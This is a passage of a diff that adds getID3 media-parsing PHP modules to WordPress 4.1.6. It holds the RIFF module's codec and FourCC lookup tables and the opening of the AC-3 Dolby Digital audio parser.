+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			©kwd	keywords
+			©BPM	bpm
+			©trt	tracktitle
+			©des	description
+			©gen	category
+			©fin	featuredinstrument
+			©LID	longid
+			©bex	bwdescription
+			©pub	publisher
+			©cdt	cdtitle
+			©alb	library
+			©com	composer
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm');
+	}
+
+	public static function wFormatTagLookup($wFormatTag) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			0x0000	Microsoft Unknown Wave Format
+			0x0001	Pulse Code Modulation (PCM)
+			0x0002	Microsoft ADPCM
+			0x0003	IEEE Float
+			0x0004	Compaq Computer VSELP
+			0x0005	IBM CVSD
+			0x0006	Microsoft A-Law
+			0x0007	Microsoft mu-Law
+			0x0008	Microsoft DTS
+			0x0010	OKI ADPCM
+			0x0011	Intel DVI/IMA ADPCM
+			0x0012	Videologic MediaSpace ADPCM
+			0x0013	Sierra Semiconductor ADPCM
+			0x0014	Antex Electronics G.723 ADPCM
+			0x0015	DSP Solutions DigiSTD
+			0x0016	DSP Solutions DigiFIX
+			0x0017	Dialogic OKI ADPCM
+			0x0018	MediaVision ADPCM
+			0x0019	Hewlett-Packard CU
+			0x0020	Yamaha ADPCM
+			0x0021	Speech Compression Sonarc
+			0x0022	DSP Group TrueSpeech
+			0x0023	Echo Speech EchoSC1
+			0x0024	Audiofile AF36
+			0x0025	Audio Processing Technology APTX
+			0x0026	AudioFile AF10
+			0x0027	Prosody 1612
+			0x0028	LRC
+			0x0030	Dolby AC2
+			0x0031	Microsoft GSM 6.10
+			0x0032	MSNAudio
+			0x0033	Antex Electronics ADPCME
+			0x0034	Control Resources VQLPC
+			0x0035	DSP Solutions DigiREAL
+			0x0036	DSP Solutions DigiADPCM
+			0x0037	Control Resources CR10
+			0x0038	Natural MicroSystems VBXADPCM
+			0x0039	Crystal Semiconductor IMA ADPCM
+			0x003A	EchoSC3
+			0x003B	Rockwell ADPCM
+			0x003C	Rockwell Digit LK
+			0x003D	Xebec
+			0x0040	Antex Electronics G.721 ADPCM
+			0x0041	G.728 CELP
+			0x0042	MSG723
+			0x0050	MPEG Layer-2 or Layer-1
+			0x0052	RT24
+			0x0053	PAC
+			0x0055	MPEG Layer-3
+			0x0059	Lucent G.723
+			0x0060	Cirrus
+			0x0061	ESPCM
+			0x0062	Voxware
+			0x0063	Canopus Atrac
+			0x0064	G.726 ADPCM
+			0x0065	G.722 ADPCM
+			0x0066	DSAT
+			0x0067	DSAT Display
+			0x0069	Voxware Byte Aligned
+			0x0070	Voxware AC8
+			0x0071	Voxware AC10
+			0x0072	Voxware AC16
+			0x0073	Voxware AC20
+			0x0074	Voxware MetaVoice
+			0x0075	Voxware MetaSound
+			0x0076	Voxware RT29HW
+			0x0077	Voxware VR12
+			0x0078	Voxware VR18
+			0x0079	Voxware TQ40
+			0x0080	Softsound
+			0x0081	Voxware TQ60
+			0x0082	MSRT24
+			0x0083	G.729A
+			0x0084	MVI MV12
+			0x0085	DF G.726
+			0x0086	DF GSM610
+			0x0088	ISIAudio
+			0x0089	Onlive
+			0x0091	SBC24
+			0x0092	Dolby AC3 SPDIF
+			0x0093	MediaSonic G.723
+			0x0094	Aculab PLC    Prosody 8kbps
+			0x0097	ZyXEL ADPCM
+			0x0098	Philips LPCBB
+			0x0099	Packed
+			0x00FF	AAC
+			0x0100	Rhetorex ADPCM
+			0x0101	IBM mu-law
+			0x0102	IBM A-law
+			0x0103	IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM)
+			0x0111	Vivo G.723
+			0x0112	Vivo Siren
+			0x0123	Digital G.723
+			0x0125	Sanyo LD ADPCM
+			0x0130	Sipro Lab Telecom ACELP NET
+			0x0131	Sipro Lab Telecom ACELP 4800
+			0x0132	Sipro Lab Telecom ACELP 8V3
+			0x0133	Sipro Lab Telecom G.729
+			0x0134	Sipro Lab Telecom G.729A
+			0x0135	Sipro Lab Telecom Kelvin
+			0x0140	Windows Media Video V8
+			0x0150	Qualcomm PureVoice
+			0x0151	Qualcomm HalfRate
+			0x0155	Ring Zero Systems TUB GSM
+			0x0160	Microsoft Audio 1
+			0x0161	Windows Media Audio V7 / V8 / V9
+			0x0162	Windows Media Audio Professional V9
+			0x0163	Windows Media Audio Lossless V9
+			0x0200	Creative Labs ADPCM
+			0x0202	Creative Labs Fastspeech8
+			0x0203	Creative Labs Fastspeech10
+			0x0210	UHER Informatic GmbH ADPCM
+			0x0220	Quarterdeck
+			0x0230	I-link Worldwide VC
+			0x0240	Aureal RAW Sport
+			0x0250	Interactive Products HSX
+			0x0251	Interactive Products RPELP
+			0x0260	Consistent Software CS2
+			0x0270	Sony SCX
+			0x0300	Fujitsu FM Towns Snd
+			0x0400	BTV Digital
+			0x0401	Intel Music Coder
+			0x0450	QDesign Music
+			0x0680	VME VMPCM
+			0x0681	AT&T Labs TPC
+			0x08AE	ClearJump LiteWave
+			0x1000	Olivetti GSM
+			0x1001	Olivetti ADPCM
+			0x1002	Olivetti CELP
+			0x1003	Olivetti SBC
+			0x1004	Olivetti OPR
+			0x1100	Lernout & Hauspie Codec (0x1100)
+			0x1101	Lernout & Hauspie CELP Codec (0x1101)
+			0x1102	Lernout & Hauspie SBC Codec (0x1102)
+			0x1103	Lernout & Hauspie SBC Codec (0x1103)
+			0x1104	Lernout & Hauspie SBC Codec (0x1104)
+			0x1400	Norris
+			0x1401	AT&T ISIAudio
+			0x1500	Soundspace Music Compression
+			0x181C	VoxWare RT24 Speech
+			0x1FC4	NCT Soft ALF2CD (www.nctsoft.com)
+			0x2000	Dolby AC3
+			0x2001	Dolby DTS
+			0x2002	WAVE_FORMAT_14_4
+			0x2003	WAVE_FORMAT_28_8
+			0x2004	WAVE_FORMAT_COOK
+			0x2005	WAVE_FORMAT_DNET
+			0x674F	Ogg Vorbis 1
+			0x6750	Ogg Vorbis 2
+			0x6751	Ogg Vorbis 3
+			0x676F	Ogg Vorbis 1+
+			0x6770	Ogg Vorbis 2+
+			0x6771	Ogg Vorbis 3+
+			0x7A21	GSM-AMR (CBR, no SID)
+			0x7A22	GSM-AMR (VBR, including SID)
+			0xFFFE	WAVE_FORMAT_EXTENSIBLE
+			0xFFFF	WAVE_FORMAT_DEVELOPMENT
+
+		*/
+
+		return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag');
+	}
+
+	public static function fourccLookup($fourcc) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			swot	http://developer.apple.com/qa/snd/snd07.html
+			____	No Codec (____)
+			_BIT	BI_BITFIELDS (Raw RGB)
+			_JPG	JPEG compressed
+			_PNG	PNG compressed W3C/ISO/IEC (RFC-2083)
+			_RAW	Full Frames (Uncompressed)
+			_RGB	Raw RGB Bitmap
+			_RL4	RLE 4bpp RGB
+			_RL8	RLE 8bpp RGB
+			3IV1	3ivx MPEG-4 v1
+			3IV2	3ivx MPEG-4 v2
+			3IVX	3ivx MPEG-4
+			AASC	Autodesk Animator
+			ABYR	Kensington ?ABYR?
+			AEMI	Array Microsystems VideoONE MPEG1-I Capture
+			AFLC	Autodesk Animator FLC
+			AFLI	Autodesk Animator FLI
+			AMPG	Array Microsystems VideoONE MPEG
+			ANIM	Intel RDX (ANIM)
+			AP41	AngelPotion Definitive
+			ASV1	Asus Video v1
+			ASV2	Asus Video v2
+			ASVX	Asus Video 2.0 (audio)
+			AUR2	AuraVision Aura 2 Codec - YUV 4:2:2
+			AURA	AuraVision Aura 1 Codec - YUV 4:1:1
+			AVDJ	Independent JPEG Group\'s codec (AVDJ)
+			AVRN	Independent JPEG Group\'s codec (AVRN)
+			AYUV	4:4:4 YUV (AYUV)
+			AZPR	Quicktime Apple Video (AZPR)
+			BGR 	Raw RGB32
+			BLZ0	Blizzard DivX MPEG-4
+			BTVC	Conexant Composite Video
+			BINK	RAD Game Tools Bink Video
+			BT20	Conexant Prosumer Video
+			BTCV	Conexant Composite Video Codec
+			BW10	Data Translation Broadway MPEG Capture
+			CC12	Intel YUV12
+			CDVC	Canopus DV
+			CFCC	Digital Processing Systems DPS Perception
+			CGDI	Microsoft Office 97 Camcorder Video
+			CHAM	Winnov Caviara Champagne
+			CJPG	Creative WebCam JPEG
+			CLJR	Cirrus Logic YUV 4:1:1
+			CMYK	Common Data Format in Printing (Colorgraph)
+			CPLA	Weitek 4:2:0 YUV Planar
+			CRAM	Microsoft Video 1 (CRAM)
+			cvid	Radius Cinepak
+			CVID	Radius Cinepak
+			CWLT	Microsoft Color WLT DIB
+			CYUV	Creative Labs YUV
+			CYUY	ATI YUV
+			D261	H.261
+			D263	H.263
+			DIB 	Device Independent Bitmap
+			DIV1	FFmpeg OpenDivX
+			DIV2	Microsoft MPEG-4 v1/v2
+			DIV3	DivX ;-) MPEG-4 v3.x Low-Motion
+			DIV4	DivX ;-) MPEG-4 v3.x Fast-Motion
+			DIV5	DivX MPEG-4 v5.x
+			DIV6	DivX ;-) (MS MPEG-4 v3.x)
+			DIVX	DivX MPEG-4 v4 (OpenDivX / Project Mayo)
+			divx	DivX MPEG-4
+			DMB1	Matrox Rainbow Runner hardware MJPEG
+			DMB2	Paradigm MJPEG
+			DSVD	?DSVD?
+			DUCK	Duck TrueMotion 1.0
+			DPS0	DPS/Leitch Reality Motion JPEG
+			DPSC	DPS/Leitch PAR Motion JPEG
+			DV25	Matrox DVCPRO codec
+			DV50	Matrox DVCPRO50 codec
+			DVC 	IEC 61834 and SMPTE 314M (DVC/DV Video)
+			DVCP	IEC 61834 and SMPTE 314M (DVC/DV Video)
+			DVHD	IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps
+			DVMA	Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com)
+			DVSL	IEC Standard DV compressed in SD (SDL)
+			DVAN	?DVAN?
+			DVE2	InSoft DVE-2 Videoconferencing
+			dvsd	IEC 61834 and SMPTE 314M DVC/DV Video
+			DVSD	IEC 61834 and SMPTE 314M DVC/DV Video
+			DVX1	Lucent DVX1000SP Video Decoder
+			DVX2	Lucent DVX2000S Video Decoder
+			DVX3	Lucent DVX3000S Video Decoder
+			DX50	DivX v5
+			DXT1	Microsoft DirectX Compressed Texture (DXT1)
+			DXT2	Microsoft DirectX Compressed Texture (DXT2)
+			DXT3	Microsoft DirectX Compressed Texture (DXT3)
+			DXT4	Microsoft DirectX Compressed Texture (DXT4)
+			DXT5	Microsoft DirectX Compressed Texture (DXT5)
+			DXTC	Microsoft DirectX Compressed Texture (DXTC)
+			DXTn	Microsoft DirectX Compressed Texture (DXTn)
+			EM2V	Etymonix MPEG-2 I-frame (www.etymonix.com)
+			EKQ0	Elsa ?EKQ0?
+			ELK0	Elsa ?ELK0?
+			ESCP	Eidos Escape
+			ETV1	eTreppid Video ETV1
+			ETV2	eTreppid Video ETV2
+			ETVC	eTreppid Video ETVC
+			FLIC	Autodesk FLI/FLC Animation
+			FLV1	Sorenson Spark
+			FLV4	On2 TrueMotion VP6
+			FRWT	Darim Vision Forward Motion JPEG (www.darvision.com)
+			FRWU	Darim Vision Forward Uncompressed (www.darvision.com)
+			FLJP	D-Vision Field Encoded Motion JPEG
+			FPS1	FRAPS v1
+			FRWA	SoftLab-Nsk Forward Motion JPEG w/ alpha channel
+			FRWD	SoftLab-Nsk Forward Motion JPEG
+			FVF1	Iterated Systems Fractal Video Frame
+			GLZW	Motion LZW (gabest@freemail.hu)
+			GPEG	Motion JPEG (gabest@freemail.hu)
+			GWLT	Microsoft Greyscale WLT DIB
+			H260	Intel ITU H.260 Videoconferencing
+			H261	Intel ITU H.261 Videoconferencing
+			H262	Intel ITU H.262 Videoconferencing
+			H263	Intel ITU H.263 Videoconferencing
+			H264	Intel ITU H.264 Videoconferencing
+			H265	Intel ITU H.265 Videoconferencing
+			H266	Intel ITU H.266 Videoconferencing
+			H267	Intel ITU H.267 Videoconferencing
+			H268	Intel ITU H.268 Videoconferencing
+			H269	Intel ITU H.269 Videoconferencing
+			HFYU	Huffman Lossless Codec
+			HMCR	Rendition Motion Compensation Format (HMCR)
+			HMRR	Rendition Motion Compensation Format (HMRR)
+			I263	FFmpeg I263 decoder
+			IF09	Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane")
+			IUYV	Interlaced version of UYVY (www.leadtools.com)
+			IY41	Interlaced version of Y41P (www.leadtools.com)
+			IYU1	12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
+			IYU2	24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
+			IYUV	Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes)
+			i263	Intel ITU H.263 Videoconferencing (i263)
+			I420	Intel Indeo 4
+			IAN 	Intel Indeo 4 (RDX)
+			ICLB	InSoft CellB Videoconferencing
+			IGOR	Power DVD
+			IJPG	Intergraph JPEG
+			ILVC	Intel Layered Video
+			ILVR	ITU-T H.263+
+			IPDV	I-O Data Device Giga AVI DV Codec
+			IR21	Intel Indeo 2.1
+			IRAW	Intel YUV Uncompressed
+			IV30	Intel Indeo 3.0
+			IV31	Intel Indeo 3.1
+			IV32	Ligos Indeo 3.2
+			IV33	Ligos Indeo 3.3
+			IV34	Ligos Indeo 3.4
+			IV35	Ligos Indeo 3.5
+			IV36	Ligos Indeo 3.6
+			IV37	Ligos Indeo 3.7
+			IV38	Ligos Indeo 3.8
+			IV39	Ligos Indeo 3.9
+			IV40	Ligos Indeo Interactive 4.0
+			IV41	Ligos Indeo Interactive 4.1
+			IV42	Ligos Indeo Interactive 4.2
+			IV43	Ligos Indeo Interactive 4.3
+			IV44	Ligos Indeo Interactive 4.4
+			IV45	Ligos Indeo Interactive 4.5
+			IV46	Ligos Indeo Interactive 4.6
+			IV47	Ligos Indeo Interactive 4.7
+			IV48	Ligos Indeo Interactive 4.8
+			IV49	Ligos Indeo Interactive 4.9
+			IV50	Ligos Indeo Interactive 5.0
+			JBYR	Kensington ?JBYR?
+			JPEG	Still Image JPEG DIB
+			JPGL	Pegasus Lossless Motion JPEG
+			KMVC	Team17 Software Karl Morton\'s Video Codec
+			LSVM	Vianet Lighting Strike Vmail (Streaming) (www.vianet.com)
+			LEAD	LEAD Video Codec
+			Ljpg	LEAD MJPEG Codec
+			MDVD	Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de)
+			MJPA	Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com)
+			MJPB	Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com)
+			MMES	Matrox MPEG-2 I-frame
+			MP2v	Microsoft S-Mpeg 4 version 1 (MP2v)
+			MP42	Microsoft S-Mpeg 4 version 2 (MP42)
+			MP43	Microsoft S-Mpeg 4 version 3 (MP43)
+			MP4S	Microsoft S-Mpeg 4 version 3 (MP4S)
+			MP4V	FFmpeg MPEG-4
+			MPG1	FFmpeg MPEG 1/2
+			MPG2	FFmpeg MPEG 1/2
+			MPG3	FFmpeg DivX ;-) (MS MPEG-4 v3)
+			MPG4	Microsoft MPEG-4
+			MPGI	Sigma Designs MPEG
+			MPNG	PNG images decoder
+			MSS1	Microsoft Windows Screen Video
+			MSZH	LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
+			M261	Microsoft H.261
+			M263	Microsoft H.263
+			M4S2	Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2)
+			m4s2	Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2)
+			MC12	ATI Motion Compensation Format (MC12)
+			MCAM	ATI Motion Compensation Format (MCAM)
+			MJ2C	Morgan Multimedia Motion JPEG2000
+			mJPG	IBM Motion JPEG w/ Huffman Tables
+			MJPG	Microsoft Motion JPEG DIB
+			MP42	Microsoft MPEG-4 (low-motion)
+			MP43	Microsoft MPEG-4 (fast-motion)
+			MP4S	Microsoft MPEG-4 (MP4S)
+			mp4s	Microsoft MPEG-4 (mp4s)
+			MPEG	Chromatic Research MPEG-1 Video I-Frame
+			MPG4	Microsoft MPEG-4 Video High Speed Compressor
+			MPGI	Sigma Designs MPEG
+			MRCA	FAST Multimedia Martin Regen Codec
+			MRLE	Microsoft Run Length Encoding
+			MSVC	Microsoft Video 1
+			MTX1	Matrox ?MTX1?
+			MTX2	Matrox ?MTX2?
+			MTX3	Matrox ?MTX3?
+			MTX4	Matrox ?MTX4?
+			MTX5	Matrox ?MTX5?
+			MTX6	Matrox ?MTX6?
+			MTX7	Matrox ?MTX7?
+			MTX8	Matrox ?MTX8?
+			MTX9	Matrox ?MTX9?
+			MV12	Motion Pixels Codec (old)
+			MWV1	Aware Motion Wavelets
+			nAVI	SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm)
+			NT00	NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com)
+			NUV1	NuppelVideo
+			NTN1	Nogatech Video Compression 1
+			NVS0	nVidia GeForce Texture (NVS0)
+			NVS1	nVidia GeForce Texture (NVS1)
+			NVS2	nVidia GeForce Texture (NVS2)
+			NVS3	nVidia GeForce Texture (NVS3)
+			NVS4	nVidia GeForce Texture (NVS4)
+			NVS5	nVidia GeForce Texture (NVS5)
+			NVT0	nVidia GeForce Texture (NVT0)
+			NVT1	nVidia GeForce Texture (NVT1)
+			NVT2	nVidia GeForce Texture (NVT2)
+			NVT3	nVidia GeForce Texture (NVT3)
+			NVT4	nVidia GeForce Texture (NVT4)
+			NVT5	nVidia GeForce Texture (NVT5)
+			PIXL	MiroXL, Pinnacle PCTV
+			PDVC	I-O Data Device Digital Video Capture DV codec
+			PGVV	Radius Video Vision
+			PHMO	IBM Photomotion
+			PIM1	MPEG Realtime (Pinnacle Cards)
+			PIM2	Pegasus Imaging ?PIM2?
+			PIMJ	Pegasus Imaging Lossless JPEG
+			PVEZ	Horizons Technology PowerEZ
+			PVMM	PacketVideo Corporation MPEG-4
+			PVW2	Pegasus Imaging Wavelet Compression
+			Q1.0	Q-Team\'s QPEG 1.0 (www.q-team.de)
+			Q1.1	Q-Team\'s QPEG 1.1 (www.q-team.de)
+			QPEG	Q-Team QPEG 1.0
+			qpeq	Q-Team QPEG 1.1
+			RGB 	Raw BGR32
+			RGBA	Raw RGB w/ Alpha
+			RMP4	REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com)
+			ROQV	Id RoQ File Video Decoder
+			RPZA	Quicktime Apple Video (RPZA)
+			RUD0	Rududu video codec (http://rududu.ifrance.com/rududu/)
+			RV10	RealVideo 1.0 (aka RealVideo 5.0)
+			RV13	RealVideo 1.0 (RV13)
+			RV20	RealVideo G2
+			RV30	RealVideo 8
+			RV40	RealVideo 9
+			RGBT	Raw RGB w/ Transparency
+			RLE 	Microsoft Run Length Encoder
+			RLE4	Run Length Encoded (4bpp, 16-color)
+			RLE8	Run Length Encoded (8bpp, 256-color)
+			RT21	Intel Indeo RealTime Video 2.1
+			rv20	RealVideo G2
+			rv30	RealVideo 8
+			RVX 	Intel RDX (RVX )
+			SMC 	Apple Graphics (SMC )
+			SP54	Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2
+			SPIG	Radius Spigot
+			SVQ3	Sorenson Video 3 (Apple Quicktime 5)
+			s422	Tekram VideoCap C210 YUV 4:2:2
+			SDCC	Sun Communication Digital Camera Codec
+			SFMC	CrystalNet Surface Fitting Method
+			SMSC	Radius SMSC
+			SMSD	Radius SMSD
+			smsv	WorldConnect Wavelet Video
+			SPIG	Radius Spigot
+			SPLC	Splash Studios ACM Audio Codec (www.splashstudios.net)
+			SQZ2	Microsoft VXTreme Video Codec V2
+			STVA	ST Microelectronics CMOS Imager Data (Bayer)
+			STVB	ST Microelectronics CMOS Imager Data (Nudged Bayer)
+			STVC	ST Microelectronics CMOS Imager Data (Bunched)
+			STVX	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format)
+			STVY	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data)
+			SV10	Sorenson Video R1
+			SVQ1	Sorenson Video
+			T420	Toshiba YUV 4:2:0
+			TM2A	Duck TrueMotion Archiver 2.0 (www.duck.com)
+			TVJP	Pinnacle/Truevision Targa 2000 board (TVJP)
+			TVMJ	Pinnacle/Truevision Targa 2000 board (TVMJ)
+			TY0N	Tecomac Low-Bit Rate Codec (www.tecomac.com)
+			TY2C	Trident Decompression Driver
+			TLMS	TeraLogic Motion Intraframe Codec (TLMS)
+			TLST	TeraLogic Motion Intraframe Codec (TLST)
+			TM20	Duck TrueMotion 2.0
+			TM2X	Duck TrueMotion 2X
+			TMIC	TeraLogic Motion Intraframe Codec (TMIC)
+			TMOT	Horizons Technology TrueMotion S
+			tmot	Horizons TrueMotion Video Compression
+			TR20	Duck TrueMotion RealTime 2.0
+			TSCC	TechSmith Screen Capture Codec
+			TV10	Tecomac Low-Bit Rate Codec
+			TY2N	Trident ?TY2N?
+			U263	UB Video H.263/H.263+/H.263++ Decoder
+			UMP4	UB Video MPEG 4 (www.ubvideo.com)
+			UYNV	Nvidia UYVY packed 4:2:2
+			UYVP	Evans & Sutherland YCbCr 4:2:2 extended precision
+			UCOD	eMajix.com ClearVideo
+			ULTI	IBM Ultimotion
+			UYVY	UYVY packed 4:2:2
+			V261	Lucent VX2000S
+			VIFP	VFAPI Reader Codec (www.yks.ne.jp/~hori/)
+			VIV1	FFmpeg H263+ decoder
+			VIV2	Vivo H.263
+			VQC2	Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf)
+			VTLP	Alaris VideoGramPiX
+			VYU9	ATI YUV (VYU9)
+			VYUY	ATI YUV (VYUY)
+			V261	Lucent VX2000S
+			V422	Vitec Multimedia 24-bit YUV 4:2:2 Format
+			V655	Vitec Multimedia 16-bit YUV 4:2:2 Format
+			VCR1	ATI Video Codec 1
+			VCR2	ATI Video Codec 2
+			VCR3	ATI VCR 3.0
+			VCR4	ATI VCR 4.0
+			VCR5	ATI VCR 5.0
+			VCR6	ATI VCR 6.0
+			VCR7	ATI VCR 7.0
+			VCR8	ATI VCR 8.0
+			VCR9	ATI VCR 9.0
+			VDCT	Vitec Multimedia Video Maker Pro DIB
+			VDOM	VDOnet VDOWave
+			VDOW	VDOnet VDOLive (H.263)
+			VDTZ	Darim Vison VideoTizer YUV
+			VGPX	Alaris VideoGramPiX
+			VIDS	Vitec Multimedia YUV 4:2:2 CCIR 601 for V422
+			VIVO	Vivo H.263 v2.00
+			vivo	Vivo H.263
+			VIXL	Miro/Pinnacle Video XL
+			VLV1	VideoLogic/PURE Digital Videologic Capture
+			VP30	On2 VP3.0
+			VP31	On2 VP3.1
+			VP6F	On2 TrueMotion VP6
+			VX1K	Lucent VX1000S Video Codec
+			VX2K	Lucent VX2000S Video Codec
+			VXSP	Lucent VX1000SP Video Codec
+			WBVC	Winbond W9960
+			WHAM	Microsoft Video 1 (WHAM)
+			WINX	Winnov Software Compression
+			WJPG	AverMedia Winbond JPEG
+			WMV1	Windows Media Video V7
+			WMV2	Windows Media Video V8
+			WMV3	Windows Media Video V9
+			WNV1	Winnov Hardware Compression
+			XYZP	Extended PAL format XYZ palette (www.riff.org)
+			x263	Xirlink H.263
+			XLV0	NetXL Video Decoder
+			XMPG	Xing MPEG (I-Frame only)
+			XVID	XviD MPEG-4 (www.xvid.org)
+			XXAN	?XXAN?
+			YU92	Intel YUV (YU92)
+			YUNV	Nvidia Uncompressed YUV 4:2:2
+			YUVP	Extended PAL format YUV palette (www.riff.org)
+			Y211	YUV 2:1:1 Packed
+			Y411	YUV 4:1:1 Packed
+			Y41B	Weitek YUV 4:1:1 Planar
+			Y41P	Brooktree PC1 YUV 4:1:1 Packed
+			Y41T	Brooktree PC1 YUV 4:1:1 with transparency
+			Y42B	Weitek YUV 4:2:2 Planar
+			Y42T	Brooktree UYUV 4:2:2 with transparency
+			Y422	ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera
+			Y800	Simple, single Y plane for monochrome images
+			Y8  	Grayscale video
+			YC12	Intel YUV 12 codec
+			YUV8	Winnov Caviar YUV8
+			YUV9	Intel YUV9
+			YUY2	Uncompressed YUV 4:2:2
+			YUYV	Canopus YUV
+			YV12	YVU12 Planar
+			YVU9	Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes)
+			YVYU	YVYU 4:2:2 Packed
+			ZLIB	Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
+			ZPEG	Metheus Video Zipper
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc');
+	}
+
+	private function EitherEndian2Int($byteword, $signed=false) {
+		if ($this->container == 'riff') {
+			return getid3_lib::LittleEndian2Int($byteword, $signed);
+		}
+		return getid3_lib::BigEndian2Int($byteword, false, $signed);
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio.ac3.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio.ac3.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio.ac3.php	(revision 33402)
@@ -0,0 +1,474 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.ac3.php                                        //
+// module for analyzing AC-3 (aka Dolby Digital) audio files   //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_ac3 extends getid3_handler
+{
+    private $AC3header = array();
+    private $BSIoffset = 0;
+
+    const syncword = "\x0B\x77";
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		///AH
+		$info['ac3']['raw']['bsi'] = array();
+		$thisfile_ac3              = &$info['ac3'];
+		$thisfile_ac3_raw          = &$thisfile_ac3['raw'];
+		$thisfile_ac3_raw_bsi      = &$thisfile_ac3_raw['bsi'];
+
+
+		// http://www.atsc.org/standards/a_52a.pdf
+
+		$info['fileformat'] = 'ac3';
+
+		// An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames
+		// Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256
+		// new audio samples per channel. A synchronization information (SI) header at the beginning
+		// of each frame contains information needed to acquire and maintain synchronization. A
+		// bit stream information (BSI) header follows SI, and contains parameters describing the coded
+		// audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the
+		// end of each frame is an error check field that includes a CRC word for error detection. An
+		// additional CRC word is located in the SI header, the use of which, by a decoder, is optional.
+		//
+		// syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC
+
+		// syncinfo() {
+		// 	 syncword    16
+		// 	 crc1        16
+		// 	 fscod        2
+		// 	 frmsizecod   6
+		// } /* end of syncinfo */
+
+		$this->fseek($info['avdataoffset']);
+		$this->AC3header['syncinfo'] = $this->fread(5);
+
+		if (strpos($this->AC3header['syncinfo'], self::syncword) === 0) {
+			$thisfile_ac3_raw['synchinfo']['synchword'] = self::syncword;
+			$offset = 2;
+		} else {
+			if (!$this->isDependencyFor('matroska')) {
+				unset($info['fileformat'], $info['ac3']);
+				return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($this->AC3header['syncinfo'], 0, 2)).'"');
+			}
+			$offset = 0;
+			$this->fseek(-2, SEEK_CUR);
+		}
+
+		$info['audio']['dataformat']   = 'ac3';
+		$info['audio']['bitrate_mode'] = 'cbr';
+		$info['audio']['lossless']     = false;
+
+		$thisfile_ac3_raw['synchinfo']['crc1']       = getid3_lib::LittleEndian2Int(substr($this->AC3header['syncinfo'], $offset, 2));
+		$ac3_synchinfo_fscod_frmsizecod              = getid3_lib::LittleEndian2Int(substr($this->AC3header['syncinfo'], ($offset + 2), 1));
+		$thisfile_ac3_raw['synchinfo']['fscod']      = ($ac3_synchinfo_fscod_frmsizecod & 0xC0) >> 6;
+		$thisfile_ac3_raw['synchinfo']['frmsizecod'] = ($ac3_synchinfo_fscod_frmsizecod & 0x3F);
+
+		$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw['synchinfo']['fscod']);
+		if ($thisfile_ac3_raw['synchinfo']['fscod'] <= 3) {
+			$info['audio']['sample_rate'] = $thisfile_ac3['sample_rate'];
+		}
+
+		$thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw['synchinfo']['frmsizecod'], $thisfile_ac3_raw['synchinfo']['fscod']);
+		$thisfile_ac3['bitrate']      = self::bitrateLookup($thisfile_ac3_raw['synchinfo']['frmsizecod']);
+		$info['audio']['bitrate'] = $thisfile_ac3['bitrate'];
+
+		$this->AC3header['bsi'] = getid3_lib::BigEndian2Bin($this->fread(15));
+		$ac3_bsi_offset = 0;
+
+		$thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5);
+		if ($thisfile_ac3_raw_bsi['bsid'] > 8) {
+			// Decoders which can decode version 8 will thus be able to decode version numbers less than 8.
+			// If this standard is extended by the addition of additional elements or features, a value of bsid greater than 8 will be used.
+			// Decoders built to this version of the standard will not be able to decode versions with bsid greater than 8.
+			$this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 8');
+		    unset($info['ac3']);
+			return false;
+		}
+
